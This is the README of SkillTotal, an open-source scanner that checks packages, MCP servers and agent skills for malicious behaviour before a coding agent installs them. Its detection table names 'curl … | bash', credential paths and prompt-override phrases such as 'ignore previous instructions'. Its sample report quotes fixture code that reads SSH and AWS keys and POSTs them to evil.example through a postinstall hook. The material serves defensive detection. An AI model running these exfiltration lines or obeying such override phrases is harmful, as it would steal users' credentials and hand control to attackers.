skilltotal

Quick start

pipx install skilltotal
skilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive

Check what your coding agent installs. Inside Claude Code:

/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins

Gate pull requests. Add one step to a workflow (full example with permissions):

      - uses: pezhik/skilltotal@v0.79.1
        with: { source: ., fail-on: high }

To try it without installing anything, www.skilltotal.ai runs the same engine.

What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, git repositories (or one folder of them), local folders, archives and single files, and looks for:

Category	Examples
Shell execution	subprocess.*, os.system, child_process.exec, curl … | bash handed to a shell call
Filesystem access	open, read_text/write_text, fs.readFile/writeFile
Sensitive paths	~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets
Network egress	requests, urllib, aiohttp, fetch, axios
Install-time execution	npm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it
Dynamic code execution	eval, exec, compile, new Function, vm.runInNewContext
Obfuscation	decode-and-execute chains, base64 blobs, hex escaping, minification
MCP risks	manifests, dangerous tools (shell/fs/network/credential), server commands
Prompt surface	"ignore previous instructions", "reveal system prompt", exfiltration phrasing

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.

$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source    : tests/fixtures/malicious_npm_pkg
Verdict   : HIGH - High risk - review before installing
Risk      : HIGH  (score 70/100)

Findings (3 risk, 4 capability, not scored):
  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress
    Evidence:
      - index.js:7
        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
      - steal.js:3
        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
      - index.js:13
        fetch('http://evil.example/collect', { method: 'POST', body: key });
      ... and 1 more (all of them in --json)

  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload
    Evidence:
      - package.json:6
        "postinstall": "node steal.js"
  ...

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

Why SkillTotal

• The Claude Code plugin checks each npx, npm install, pip install or claude mcp add command before the agent runs it.
• It runs on your machine without an account, API token, upload or telemetry, and never runs the code it reads (Network access).
• Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.
• Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
• Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
• It is open source (Apache-2.0), and the full static report is free, forever.

How it works

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.

Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents) and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.

The scan finds	What happens to the install
Malicious indicators	Denied. The agent is told the finding and its file:line
High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time)	Claude Code asks you
Nothing of that kind	It installs. The agent gets a one-line note with the version checked and its score
Anything it would ask about, in CI	Denied: CI is fail-closed (see below)

Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer, so anything it would ask about is denied. Installs it could not check are denied too, unless SKILLTOTAL_ALLOW_UNCHECKED lists their kind.

It does not check the dependencies of the named package, installs that name no package (npm ci, pip install -r, uv sync; the console says so), scripts on disk, shell-profile aliases or functions, downloaded scripts (curl ... | bash, reported as not checked), repositories fetched with git clone, or code already running on your account (it can rewrite the verdict cache or the CLI). The plugin is a static check, not a sandbox: run the agent in a container for code you don't trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server. Recognized commands, settings, cache, timing, team rollout and troubleshooting are in docs/plugin.md.

CI / GitHub Action

Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab.

# .github/workflows/skilltotal.yml
name: SkillTotal
on: [push, pull_request]
permissions:
  contents: read
  security-events: write   # required to upload SARIF to Code Scanning
  actions: read            # required for the SARIF upload in a private repository
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: pezhik/skilltotal@v0.79.1
        with:
          source: .             # a path, a git URL, or an npm:/pypi:<name> spec
          fail-on: high         # fail on a high/critical risk finding (or 'none')

A malicious indicator fails the job at any severity; a capability on its own, such as a shell call or network access, never does. The log names the gate that tripped and the finding behind it. Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced Security; without it, set upload-sarif: 'false'. comment-on-pr: 'true' (with pull-requests: write) keeps one summary comment up to date. The repository's .skilltotal.toml is applied, so put it under CODEOWNERS (Configuration). docs/ci.md covers every input and output, scheduled re-checks of a third-party package, pre-commit, GitLab CI, Jenkins and rolling out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):

pip install skilltotal==0.79.1      # in a virtual environment outside the checkout
skilltotal scan . --fail-on high

CLI

skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./component --json            # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:some-lib@1.2.3 npm:some-lib@1.2.4 --fail-on-new high
skilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed
skilltotal guard --installed                  # check the MCP servers, plugins and skills your agents use
skilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list

scan on its own exits 0 whatever it finds, even for a malicious verdict. In a script, use skilltotal guard or a gate (--fail-on) and check the exit code. Every flag, exit code and gate is described in the CLI reference.

MCP server

skilltotal mcp runs the engine as a stdio MCP server so your agent can check a component before installing it. The Claude Code plugin already registers it. In Claude Code without the plugin:

claude mcp add skilltotal -- skilltotal mcp

For Claude Desktop, Cursor, Windsurf or any client that reads mcpServers:

{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }

It has three read-only tools: scan_component (a local path, git URL, npm: or pypi: source), diff_components (what changed between two versions) and list_rules. VS Code, the uvx/npx forms and the path rules are in docs/mcp-server.md.

Install

Requires Python 3.10+, with zero runtime dependencies. git is needed only for scanning remote URLs and for scan --staged. Scanning inside a directory you don't trust and other install details are in docs/cli.md.

pipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal       # into a virtual environment, or to use it as a library

With npx (it needs uv, pipx, or Python 3.11+ with skilltotal installed), name the release with --package so npx does not run a skilltotal from the scanned repository's node_modules/.bin:

npx -y --package=skilltotal@0.79.1 -- skilltotal scan https://github.com/owner/repo

Measured, not asserted

• Detection efficacy: recall and precision on a labeled corpus we built and publish (134 malicious and 94 benign samples), regenerated every release and enforced by CI as a floor. A perfect score on our own corpus guards against regressions; it is not a claim about every attack in the wild. Each rule behind the survey's OWASP class counts also has labeled samples of its own, listed in the report's rule coverage table.
• The MCP registry, scanned (September 2026, engine 0.49.0, rulesets 56 to 59; later rule changes are not reflected): 15,341 of the 17,535 distinct components in the official registry (87.5%). Of those scanned, 88.2% expose tools to an agent, 64.8% can reach the network and 21.1% can execute shell commands. Still, all but 116 of them score low risk, because a capability on its own scores zero. Before this run we read every malicious-indicator hit from an earlier run by hand and fixed the false positives. Aggregates (JSON) · the harness.

Limitations

• Files over 2 MiB are not read. Minified JavaScript/TypeScript bundles are listed but not analyzed, except the scripts npm runs at install. A low verdict then reads "Partially analyzed".
• Dependencies are not scanned. node_modules/, vendor/ and virtual environments are skipped.
• Code fetched or generated at run time is not analyzed, nor are binaries and compiled artifacts.
• Languages. Shell execution, network access, file access and dynamic code are analyzed in Python and JavaScript/TypeScript. Shell, PowerShell and batch scripts are checked for download-and-run, decode-and-run and evasion idioms. Other languages get only the secret, sensitive-path and hidden-Unicode checks.
• The default gate does not count unread code, and unread code never passes in silence: the log names it (Not everything was analyzed: ...), the verdict reads "Partially analyzed", and --fail-on-unanalyzed fails on it. That covers files over 2 MiB, minified bundles, code in languages not analyzed for behavior, and compiled code shipped without its source (a .pyc, .pyo or .class with no .py or .java of the same name beside it).
• Detection is at the call/import level. A capability shows the code is there, not that it is misused. SkillTotal does not replace a sandbox, a penetration test or a manual code review.

For how the four bypasses published in June 2026 fare against this engine, see What we catch. The full list is in docs/detection.md.

Configuration

Commit a .skilltotal.toml instead of repeating flags: gate levels, excludes, ignored rules, a baseline file and per-rule block / warn / ignore policy. To accept a single finding, add an inline skilltotal:ignore[ST-ID] comment. Limits and registry mirrors are set with SKILLTOTAL_* environment variables. In CI the scanned repository's own config and markers apply, so put .skilltotal.toml and the baseline under CODEOWNERS with branch protection (docs/configuration.md).

Network access

A scan of a local folder, archive or file makes no network request. SkillTotal goes online only for:

• git URLs: git clone --depth 1; for github.com, GitHub REST API calls (api.github.com) first, to check the size of what would be cloned
• npm: / pypi: sources: package metadata and archive from registry.npmjs.org or PyPI (pypi.org and its file host), or from your mirror (SKILLTOTAL_NPM_REGISTRY, SKILLTOTAL_PYPI_INDEX)
• --provenance: the package's registry metadata
• inventory, guard --installed, the Claude Code plugin and the MCP server: the same registries and git hosts, for the packages they check

It sends no telemetry, needs no account and makes no LLM call.

Open source vs SkillTotal Cloud

This engine (the analysis, all detection rules and the CLI) is open source and complete on its own, free to run locally or in CI. Paid features are planned for SkillTotal Cloud as server-side services on top of it; their code is not part of this repository (docs/open-core.md).

Documentation

Section	Now in
Usage, exit codes, status badge	docs/cli.md
Project config, inline suppression, environment variables, registry mirrors	docs/configuration.md
Action inputs and outputs, pre-commit, other CI systems, rolling out	docs/ci.md
MCP server clients and path rules	docs/mcp-server.md
What it detects, coverage by component type, typical findings, verdict, out of scope, accuracy notes	docs/detection.md
Malware archetypes and the rules that catch them	docs/detection-coverage.md
Report output, traits, OWASP mapping	docs/report-schema.md
Claude Code plugin reference	docs/plugin.md
Architecture	docs/architecture.md

Contributing, security and license

Development setup: pip install -e ".[dev]", then pytest. Detection rules are added corpus-first (docs/contributing-rules.md). Report false positives as issues; they are fixed in the open. Security issues: SECURITY.md.

Apache-2.0, see also NOTICE.